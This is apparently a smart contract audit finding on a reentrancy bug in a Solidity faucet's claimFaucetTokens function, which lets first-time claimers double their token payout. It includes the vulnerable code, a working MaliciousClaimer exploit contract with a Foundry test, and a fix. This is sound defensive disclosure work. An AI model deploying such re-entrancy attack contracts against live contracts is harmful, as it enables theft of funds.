[H-3] First-time users can re-enter the claimFaucetTokens function bypassing the cooldown check, allowing them to double their token claims
Description
-
Expected bahaviour Each user should only be allowed to claim 1000 tokens every 3 days.
-
Problematic bahaviour Every first-time user can claim 2000 tokens with every claimFaucetTokens call, bypassing the cooldown period.
Root cause
The state change lastClaimTime[faucetClaimer] = block.timestamp; happens after the low-level ETH call, thus allowing a user to re-enter the function a second time:
function claimFaucetTokens() public {
faucetClaimer = msg.sender;
if (block.timestamp < (lastClaimTime[faucetClaimer] + CLAIM_COOLDOWN)) {
revert RaiseBoxFaucet_ClaimCooldownOn();
}
if (faucetClaimer == address(0) || faucetClaimer == address(this) || faucetClaimer == Ownable.owner()) {
revert RaiseBoxFaucet_OwnerOrZeroOrContractAddressCannotCallClaim();
}
if (balanceOf(address(this)) <= faucetDrip) {
revert RaiseBoxFaucet_InsufficientContractBalance();
}
if (dailyClaimCount >= dailyClaimLimit) {
revert RaiseBoxFaucet_DailyClaimLimitReached();
}
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
@> (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
);
}
} else {
dailyDrips = 0;
}
*
* @param lastFaucetDripDay tracks the last day a claim was made
* @notice resets the @param dailyClaimCount every 24 hours
*/
if (block.timestamp > lastFaucetDripDay + 1 days) {
lastFaucetDripDay = block.timestamp;
dailyClaimCount = 0;
}
@> lastClaimTime[faucetClaimer] = block.timestamp;
dailyClaimCount++;
_transfer(address(this), faucetClaimer, faucetDrip);
emit Claimed(msg.sender, faucetDrip);
}
Risk
Likelihood: High
Impact: High
Proof of Concept
As a PoC add the following test in the Foundry test suite and run with forge test --mt test_claimFaucetTokens_CanReenter.
Interface and contract to add:
interface IRaiseBoxFaucet {
function claimFaucetTokens() external;
}
contract MaliciousClaimer {
IRaiseBoxFaucet targetContract;
constructor(address _raiseBoxFaucet) {
targetContract = IRaiseBoxFaucet(_raiseBoxFaucet);
}
function attack() public {
targetContract.claimFaucetTokens();
}
fallback() external payable {
attack();
}
}
State variable to add in test contract:
MaliciousClaimer maliciousClaimer;
Final test function to add:
function test_claimFaucetTokens_CanReenter() public {
maliciousClaimer = new MaliciousClaimer(address(raiseBoxFaucet));
address maliciousClaimerAddress = address(maliciousClaimer);
uint256 attackerBalanceBeforeAttack = raiseBoxFaucet.getBalance(maliciousClaimerAddress);
assertTrue(attackerBalanceBeforeAttack == 0, "Attacker already has tokens");
uint256 faucetBalanceBeforeAttack = raiseBoxFaucet.getBalance(raiseBoxFaucetContractAddress) / 1e18;
assertTrue(faucetBalanceBeforeAttack == raiseBoxFaucet.INITIAL_SUPPLY() / 1e18, "Contract token balance is not the initial supply");
vm.prank(maliciousClaimerAddress);
raiseBoxFaucet.claimFaucetTokens();
uint256 attackerBalanceAfterAttack = raiseBoxFaucet.getBalance(maliciousClaimerAddress);
assertTrue(attackerBalanceAfterAttack/1e18 == 2000, "Attacker did not manage to re-enter");
uint256 faucetBalanceAfterAttack = raiseBoxFaucet.getBalance(raiseBoxFaucetContractAddress) / 1e18;
assertTrue(faucetBalanceBeforeAttack - faucetBalanceAfterAttack == 2000, "Faucet tokens have not decreased by 2000");
}
Recommended Mitigation
To mitigate the reentrancy vulnerability move the state change lastClaimTime[faucetClaimer] = block.timestamp; before the low-level call so that the check block.timestamp < (lastClaimTime[faucetClaimer] + CLAIM_COOLDOWN) guards against users claiming tokens again during cooldown. Alternatively, use the nonReentrant modifier from the OpenZeppelin ReentrancyGuard contract.
function claimFaucetTokens() public {
.
.
.
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
+ lastClaimTime[faucetClaimer] = block.timestamp;
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
.
.
.
- lastClaimTime[faucetClaimer] = block.timestamp;
dailyClaimCount++;
// Interactions
_transfer(address(this), faucetClaimer, faucetDrip);
emit Claimed(msg.sender, faucetDrip);
}
